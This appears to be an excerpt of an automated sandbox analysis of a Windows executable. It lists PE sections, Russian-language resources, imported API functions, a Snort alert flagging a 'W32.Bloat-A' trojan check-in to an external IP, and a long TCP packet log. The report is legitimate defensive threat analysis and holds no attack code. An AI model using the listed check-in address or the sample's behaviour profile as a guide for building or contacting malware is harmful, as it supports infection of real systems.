.rdata	0x17000	0x18	0x200	7e6c0f4f4435abc870eb550d5072bad6	False	0.05078125	data	0.2069200177871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0x18000	0x5cc	0x600	2f4536f51417a33d5e7cc1d66b1ca51e	False	0.8333333333333334	data	6.433117350337874	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0x19000	0x1400	0x1400	397378be285c0d0b2045e1e638e3bc77	False	0.434765625	data	4.407779029459289	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x19150	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4264	Russian	Russia	0.4366791744840525
RT_RCDATA	0x1a1f8	0x10	data			1.5
RT_RCDATA	0x1a208	0xac	data			1.063953488372093
RT_GROUP_ICON	0x1a2b4	0x14	data	Russian	Russia	1.1

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetVersion, GetCurrentThreadId, GetThreadLocale, GetStartupInfoA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, ExitProcess, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
user32.dll	GetKeyboardType, MessageBoxA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegSetValueExA, RegOpenKeyExA, RegCloseKey
kernel32.dll	WriteFile, WinExec, SetFilePointer, SetFileAttributesA, SetEndOfFile, SetCurrentDirectoryA, ReleaseMutex, ReadFile, GetWindowsDirectoryA, GetTempPathA, GetShortPathNameA, GetModuleFileNameA, GetLogicalDriveStringsA, GetLocalTime, GetLastError, GetFileSize, GetFileAttributesA, GetDriveTypeA, GetCommandLineA, FreeLibrary, FindNextFileA, FindFirstFileA, FindClose, DeleteFileA, CreateMutexA, CreateFileA, CreateDirectoryA, CloseHandle
gdi32.dll	StretchDIBits, SetDIBits, SelectObject, GetObjectA, GetDIBits, DeleteObject, DeleteDC, CreateSolidBrush, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, BitBlt
user32.dll	ReleaseDC, GetSysColor, GetIconInfo, GetDC, FillRect, DestroyIcon, CopyImage, CharLowerBuffA
shell32.dll	ShellExecuteA, ExtractIconA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Russian	Russia

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/02/24-06:51:22.387764	TCP	2832617	ETPRO TROJAN W32.Bloat-A Checkin	49714	80	192.168.2.5	69.42.215.252

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 2, 2024 06:51:19.596137047 CEST	49709	80	192.168.2.5	208.95.112.1
Jul 2, 2024 06:51:19.603859901 CEST	80	49709	208.95.112.1	192.168.2.5
Jul 2, 2024 06:51:19.603945017 CEST	49709	80	192.168.2.5	208.95.112.1
Jul 2, 2024 06:51:19.604758978 CEST	49709	80	192.168.2.5	208.95.112.1
Jul 2, 2024 06:51:19.616975069 CEST	80	49709	208.95.112.1	192.168.2.5
Jul 2, 2024 06:51:20.095616102 CEST	80	49709	208.95.112.1	192.168.2.5
Jul 2, 2024 06:51:20.204361916 CEST	49709	80	192.168.2.5	208.95.112.1
Jul 2, 2024 06:51:21.657645941 CEST	49711	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:21.657692909 CEST	443	49711	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:21.657866001 CEST	49711	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:21.657916069 CEST	49712	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:21.657982111 CEST	443	49712	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:21.658065081 CEST	49712	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:21.697747946 CEST	49711	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:21.697767019 CEST	443	49711	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:21.697896004 CEST	49712	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:21.697925091 CEST	443	49712	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.341339111 CEST	443	49712	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.341449976 CEST	49712	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.342148066 CEST	443	49712	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.342199087 CEST	49712	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.349879980 CEST	443	49711	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.349951982 CEST	49711	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.350662947 CEST	443	49711	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.350738049 CEST	49711	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.378704071 CEST	49714	80	192.168.2.5	69.42.215.252
Jul 2, 2024 06:51:22.386761904 CEST	80	49714	69.42.215.252	192.168.2.5
Jul 2, 2024 06:51:22.387487888 CEST	49714	80	192.168.2.5	69.42.215.252
Jul 2, 2024 06:51:22.387763977 CEST	49714	80	192.168.2.5	69.42.215.252
Jul 2, 2024 06:51:22.392678976 CEST	80	49714	69.42.215.252	192.168.2.5
Jul 2, 2024 06:51:22.501491070 CEST	49712	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.501527071 CEST	443	49712	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.501955986 CEST	443	49712	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.502593040 CEST	49711	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.502624989 CEST	443	49711	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.502624989 CEST	49712	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.503016949 CEST	443	49711	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.504903078 CEST	49711	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.505001068 CEST	49712	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.505399942 CEST	49711	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.548492908 CEST	443	49711	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.552501917 CEST	443	49712	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.802937031 CEST	443	49711	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.803004026 CEST	49711	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.803030014 CEST	443	49711	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.803073883 CEST	49711	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.804630041 CEST	443	49711	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.804672956 CEST	443	49712	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.804677010 CEST	443	49711	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.804704905 CEST	49711	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.804749966 CEST	49711	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.804754019 CEST	49712	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.804781914 CEST	443	49712	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.804964066 CEST	49712	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.805834055 CEST	443	49712	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.805871010 CEST	443	49712	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.805885077 CEST	49712	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.805926085 CEST	49712	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.827801943 CEST	49711	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.827815056 CEST	443	49711	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.828969002 CEST	49715	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.829010010 CEST	443	49715	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.829082966 CEST	49715	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.830343962 CEST	49712	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.830353975 CEST	443	49712	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.835508108 CEST	49716	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.835542917 CEST	443	49716	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.835695028 CEST	49716	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.838859081 CEST	49715	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.838875055 CEST	443	49715	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.843748093 CEST	49716	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:22.843759060 CEST	443	49716	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:22.846656084 CEST	49717	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:22.846704006 CEST	443	49717	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:22.846815109 CEST	49717	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:22.847424984 CEST	49717	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:22.847431898 CEST	443	49717	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:22.849636078 CEST	49718	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:22.849658966 CEST	443	49718	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:22.849721909 CEST	49718	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:22.849968910 CEST	49718	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:22.849975109 CEST	443	49718	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:23.013956070 CEST	80	49714	69.42.215.252	192.168.2.5
Jul 2, 2024 06:51:23.014065027 CEST	49714	80	192.168.2.5	69.42.215.252
Jul 2, 2024 06:51:23.491029978 CEST	443	49716	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:23.491178036 CEST	49716	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:23.497107983 CEST	443	49715	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:23.497200012 CEST	49715	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:23.500777006 CEST	443	49718	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:23.500891924 CEST	49718	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:23.503015041 CEST	49715	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:23.503021002 CEST	49716	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:23.503027916 CEST	443	49715	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:23.503029108 CEST	443	49716	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:23.505460978 CEST	49716	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:23.505469084 CEST	443	49716	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:23.506201029 CEST	49715	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:23.506206989 CEST	443	49715	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:23.507754087 CEST	443	49717	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:23.507819891 CEST	49717	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:23.510050058 CEST	49718	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:23.510065079 CEST	443	49718	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:23.510296106 CEST	443	49718	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:23.510579109 CEST	49718	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:23.511781931 CEST	49718	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:23.513777018 CEST	49717	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:23.513787031 CEST	443	49717	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:23.514118910 CEST	443	49717	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:23.514166117 CEST	49717	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:23.514482021 CEST	49717	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:23.556499958 CEST	443	49718	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:23.556512117 CEST	443	49717	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:23.886742115 CEST	443	49716	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:23.886818886 CEST	49716	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:23.886836052 CEST	443	49716	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:23.886888027 CEST	49716	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:23.887547016 CEST	443	49716	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:23.887588978 CEST	443	49716	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:23.887604952 CEST	49716	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:23.887650967 CEST	49716	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:23.888463020 CEST	443	49715	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:23.888530016 CEST	49715	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:23.889318943 CEST	443	49715	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:23.889363050 CEST	443	49715	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:23.889379025 CEST	49715	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:23.889410973 CEST	49715	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:23.929244041 CEST	443	49718	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:23.929290056 CEST	443	49718	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:23.929316044 CEST	49718	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:23.929344893 CEST	443	49718	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:23.929356098 CEST	49718	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:23.929389000 CEST	49718	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:23.929394007 CEST	443	49718	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:23.929404974 CEST	443	49718	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:23.929440975 CEST	49718	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:23.929467916 CEST	49718	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:23.930258036 CEST	49716	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:23.930269957 CEST	443	49716	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:23.931139946 CEST	49721	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:23.931169987 CEST	443	49721	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:23.931298971 CEST	49721	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:23.931623936 CEST	49721	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:23.931633949 CEST	443	49721	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:23.931699991 CEST	49715	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:23.931709051 CEST	443	49715	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:23.932368040 CEST	49722	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:23.932375908 CEST	443	49722	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:23.932460070 CEST	49722	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:23.940804005 CEST	49718	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:23.940828085 CEST	443	49718	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:23.941833019 CEST	49723	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:23.941864967 CEST	443	49723	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:23.941917896 CEST	49723	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:23.948971987 CEST	49722	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:23.948987961 CEST	443	49722	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:23.954608917 CEST	49723	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:23.954647064 CEST	443	49723	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:24.097243071 CEST	443	49717	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:24.097300053 CEST	443	49717	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:24.097313881 CEST	49717	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:24.097335100 CEST	443	49717	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:24.097352982 CEST	49717	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:24.097377062 CEST	49717	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:24.097383022 CEST	443	49717	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:24.097440004 CEST	443	49717	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:24.097486019 CEST	49717	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:24.106633902 CEST	49717	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:24.106659889 CEST	443	49717	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:24.110227108 CEST	49724	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:24.110259056 CEST	443	49724	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:24.110518932 CEST	49724	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:24.115156889 CEST	49724	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:24.115178108 CEST	443	49724	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:24.594857931 CEST	443	49722	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:24.597801924 CEST	49722	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:24.598915100 CEST	443	49723	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:24.599009991 CEST	49723	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:24.625161886 CEST	49722	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:24.625185966 CEST	443	49722	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:24.626243114 CEST	49723	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:24.626249075 CEST	443	49723	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:24.626571894 CEST	49723	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:24.626575947 CEST	443	49723	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:24.628468037 CEST	49722	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:24.628475904 CEST	443	49722	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:24.684843063 CEST	443	49721	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:24.684925079 CEST	49721	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:24.705725908 CEST	49721	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:24.705759048 CEST	443	49721	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:24.707768917 CEST	49721	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:24.707775116 CEST	443	49721	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:24.760025978 CEST	443	49724	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:24.760148048 CEST	49724	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:24.790925026 CEST	49724	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:24.790941954 CEST	443	49724	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:24.791074038 CEST	49724	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:24.791079998 CEST	443	49724	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:25.030791044 CEST	443	49722	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:25.030859947 CEST	49722	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:25.030870914 CEST	443	49722	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:25.031002045 CEST	49722	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:25.035883904 CEST	443	49723	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:25.035940886 CEST	443	49723	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:25.035949945 CEST	49723	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:25.035964012 CEST	443	49723	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:25.035986900 CEST	49723	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:25.036010981 CEST	49723	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:25.036019087 CEST	443	49723	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:25.036029100 CEST	443	49723	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:25.036058903 CEST	49723	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:25.036077976 CEST	49723	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:25.052158117 CEST	49722	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:25.052177906 CEST	443	49722	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:25.059837103 CEST	49727	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:25.059869051 CEST	443	49727	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:25.059927940 CEST	49727	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:25.060379028 CEST	49727	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:25.060395956 CEST	443	49727	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:25.072386026 CEST	49723	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:25.072400093 CEST	443	49723	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:25.082031012 CEST	49728	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:25.082046032 CEST	443	49728	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:25.082101107 CEST	49728	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:25.091387033 CEST	49728	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:25.091397047 CEST	443	49728	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:25.103697062 CEST	443	49721	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:25.103773117 CEST	443	49721	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:25.103811979 CEST	49721	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:25.103832960 CEST	49721	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:25.103945017 CEST	49721	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:25.103956938 CEST	443	49721	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:25.104733944 CEST	49729	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:25.104753971 CEST	443	49729	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:25.104813099 CEST	49729	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:25.105108976 CEST	49729	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:25.105119944 CEST	443	49729	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:25.197825909 CEST	443	49724	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:25.197901964 CEST	443	49724	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:25.197912931 CEST	49724	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:25.197938919 CEST	443	49724	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:25.197953939 CEST	49724	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:25.197962999 CEST	443	49724	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:25.198012114 CEST	49724	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:25.279436111 CEST	49724	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:25.279465914 CEST	443	49724	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:25.280508041 CEST	49730	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:25.280539989 CEST	443	49730	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:25.280731916 CEST	49730	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:25.463361979 CEST	49730	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:25.463397026 CEST	443	49730	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:25.712846041 CEST	443	49727	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:25.712913990 CEST	49727	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:25.725997925 CEST	49727	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:25.726007938 CEST	443	49727	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:25.733871937 CEST	49727	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:25.733877897 CEST	443	49727	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:25.741775036 CEST	443	49728	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:25.741842031 CEST	49728	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:25.746623039 CEST	49728	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:25.746630907 CEST	443	49728	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:25.748409033 CEST	49728	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:25.748414040 CEST	443	49728	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:25.850635052 CEST	443	49729	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:25.850696087 CEST	49729	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:25.858397961 CEST	49729	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:25.858407974 CEST	443	49729	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:25.861010075 CEST	49729	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:25.861016989 CEST	443	49729	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:26.098164082 CEST	443	49727	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:26.098238945 CEST	49727	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:26.098269939 CEST	443	49727	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:26.098318100 CEST	49727	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:26.098902941 CEST	443	49727	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:26.098946095 CEST	443	49727	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:26.098956108 CEST	49727	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:26.098994017 CEST	49727	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:26.105581045 CEST	443	49730	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:26.105648041 CEST	49730	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:26.139626026 CEST	49727	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:26.139643908 CEST	443	49727	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:26.140655994 CEST	49733	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:26.140696049 CEST	443	49733	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:26.140763998 CEST	49733	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:26.141002893 CEST	49733	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:26.141017914 CEST	443	49733	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:26.147629023 CEST	49730	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:26.147636890 CEST	443	49730	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:26.147803068 CEST	49730	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:26.147808075 CEST	443	49730	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:26.177264929 CEST	443	49728	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:26.177306890 CEST	443	49728	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:26.177321911 CEST	49728	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:26.177333117 CEST	443	49728	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:26.177362919 CEST	49728	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:26.177381992 CEST	49728	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:26.177393913 CEST	443	49728	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:26.177464962 CEST	443	49728	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:26.177510023 CEST	49728	443	192.168.2.5	142.250.184.225
